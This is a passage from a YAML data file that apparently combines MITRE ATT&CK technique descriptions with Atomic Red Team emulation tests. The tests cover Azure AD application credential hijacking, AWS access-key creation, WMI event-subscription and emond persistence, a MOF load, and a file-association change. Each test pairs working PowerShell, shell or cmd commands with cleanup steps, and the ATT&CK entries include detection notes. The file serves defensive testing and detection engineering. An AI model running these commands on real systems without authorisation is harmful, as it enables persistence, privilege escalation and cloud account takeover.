jonh@contoso.com password: description: Azure AD password type: string default: p4sswd application_name: description: Name of the targeted application type: string default: SuperApp dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential > $null $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1 if ($app -eq $null) { Write-Warning "Application not found"; exit } # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $credNotAfter = (Get-Date).AddDays(1) $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) Write-Host "Generated certificate ""$($cert.Thumbprint)""" New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from application\"\n Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n" name: powershell elevation_required: false - name: AWS - Create Access Key and Secret Key auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122 description: 'Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised ' supported_platforms: - iaas:aws input_arguments: username: description: Create new AWS access and secret keys for the user type: string default: atomicredteam dependencies: - description: 'Check if the user exists. ' prereq_command: 'aws iam list-users | grep #{username} ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic ' executor: command: | aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" cd "$PathToAtomicsFolder/T1098.001/bin/" ./aws_secret.sh cleanup_command: | access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'` aws iam delete-access-key --access-key-id $access_key --user-name #{username} rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" name: sh T1556.008: technique: modified: '2023-10-31T14:00:00.188Z' name: Network Provider DLL description: "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - CrowdStrike Falcon OverWatch - Jai Minton x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' - 'File: File Creation' type: attack-pattern id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04 created: '2023-03-30T22:45:00.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/008 external_id: T1556.008 - source_name: NPPSPY - Huntress description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023." url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy - source_name: NPPSPY Video description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023. url: https://www.youtube.com/watch?v=ggY3srD9dYs - source_name: NPPSPY description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023. url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy - source_name: Network Provider API description: Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api - source_name: NPLogonNotify description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.003: technique: modified: '2024-04-13T14:08:20.882Z' name: 'Event Triggered Execution: Windows Management Instrumentation Event Subscription' description: |- Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018) WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brent Murphy, Elastic - David French, Elastic - Viren Chaudhari, Qualys x_mitre_deprecated: false x_mitre_detection: |- Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'WMI: WMI Creation' x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58 created: '2020-01-24T14:07:56.276Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/003 external_id: T1546.003 - source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: Dell WMI Persistence description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. url: https://www.secureworks.com/blog/wmi-persistence - source_name: FireEye WMI SANS 2015 description: Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf - source_name: Medium Detecting WMI Persistence description: French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - source_name: Elastic - Hunting for Persistence Part 1 description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.' url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - source_name: Mandiant M-Trends 2015 description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.' url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - source_name: Microsoft Register-WmiEvent description: Microsoft. (n.d.). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Microsoft MOF May 2018 description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.003 atomic_tests: - name: Persistence via WMI Event Subscription - CommandLineEventConsumer auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0 description: | Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. Code references https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545 supported_platforms: - windows executor: command: | $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";} $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs $FilterToConsumerArgs = @{ Filter = [Ref] $Filter; Consumer = [Ref] $Consumer; } $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell elevation_required: true - name: Persistence via WMI Event Subscription - ActiveScriptEventConsumer auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832 description: | Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. Code references https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c supported_platforms: - windows executor: command: | $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'; ScriptingEngine='VBScript'; ScriptText=' Set objws = CreateObject("Wscript.Shell") objws.Run "notepad.exe", 0, True '} $Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs $FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer; } $FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell elevation_required: true - name: Windows MOFComp.exe Load MOF File auto_generated_guid: 29786d7e-8916-4de6-9c55-be7b093b2706 description: "The following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n" supported_platforms: - windows input_arguments: mofcomp_path: description: Location of mofcomp.exe type: string default: c:\windows\system32\wbem\mofcomp.exe mof_file: description: Local location MOF file type: string default: PathToAtomicsFolder\T1546.003\src\T1546.003.mof dependency_executor_name: powershell dependencies: - description: 'MofComp.exe must exist on disk at specified location (#{mofcomp_path}) ' prereq_command: 'if (Test-Path "#{mofcomp_path}") { exit 0} else { exit 1} ' get_prereq_command: 'Validate MOFComp.exe is on disk somewhere and update input argument. ' - description: 'MofComp.exe must exist on disk at specified location (#{mof_file}) ' prereq_command: 'if (Test-Path "#{mof_file}") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{mof_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof" -OutFile "#{mof_file}" executor: command: '#{mofcomp_path} "#{mof_file}" ' cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell T1554: technique: modified: '2024-04-16T13:03:40.824Z' name: Compromise Host Software Binary description: |- Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - CrowdStrike Falcon OverWatch x_mitre_deprecated: false x_mitre_detection: "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Deletion' - 'File: File Modification' - 'File: File Metadata' - 'File: File Creation' type: attack-pattern id: attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5 created: '2020-02-11T18:18:34.279Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1554 external_id: T1554 - source_name: Unit42 Banking Trojans Hooking 2022 description: 'Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.' url: https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n - source_name: ESET FontOnLake Analysis 2021 description: Vladislav Hrčka. (2021, January 1). FontOnLake. Retrieved September 27, 2023. url: https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Change Default File Association' description: "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator - SYSTEM - User type: attack-pattern id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c created: '2020-01-24T13:40:47.282Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/001 external_id: T1546.001 - source_name: Microsoft Change Default Programs description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016. url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - source_name: Microsoft File Handlers description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. url: http://msdn.microsoft.com/en-us/library/bb166549.aspx - source_name: Microsoft Assoc Oct 2017 description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018. url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc - source_name: TrendMicro TROJ-FAKEAV OCT 2012 description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1546.001 atomic_tests: - name: Change Default File Association auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102 description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon successful execution, cmd.exe will change the file association of .hta to notepad.exe. \n" supported_platforms: - windows input_arguments: target_extension_handler: description: txtfile maps to notepad.exe type: path default: txtfile extension_to_change: description: File Extension To Hijack type: string default: ".hta" original_extension_handler: description: File Extension To Revert type: string default: htafile executor: command: 'assoc #{extension_to_change}=#{target_extension_handler} ' cleanup_command: 'assoc #{extension_to_change}=#{original_extension_handler} ' name: command_prompt elevation_required: true T1546.014: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ivan Sinyakov object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd created: '2020-01-24T15:15:13.426Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.014 url: https://attack.mitre.org/techniques/T1546/014 - source_name: magnusviri emond Apr 2016 url: http://www.magnusviri.com/Mac/what-is-emond.html description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. - source_name: xorrior emond Jan 2018 url: https://www.xorrior.com/emond-persistence/ description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. - source_name: sentinelone macos persist Jun 2019 url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Event Triggered Execution: Emond' x_mitre_detection: Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.014 atomic_tests: - name: Persistance with Event Monitor - emond auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114 description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124 ' supported_platforms: - macos input_arguments: plist: description: Path to attacker emond plist file type: path default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist executor: command: | sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist sudo touch /private/var/db/emondClients/T1546.014 cleanup_command: | sudo rm /etc/emond.d/rules/T1546.014_emond.plist sudo rm /private/var/db/emondClients/T1546.014 name: sh elevation_required: true T1574.010: technique: modified: '2023-05-09T14:00:00.188Z' name: Services File Permissions Weakness description: |- Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak x_mitre_detection: "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Service: Service Metadata' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd created: '2020-03-12T20:43:53.998Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/010 external_id: T1574.010 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1547.001: technique: modified: '2023-10-16T09:08:22.319Z' name: 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder' description: |- 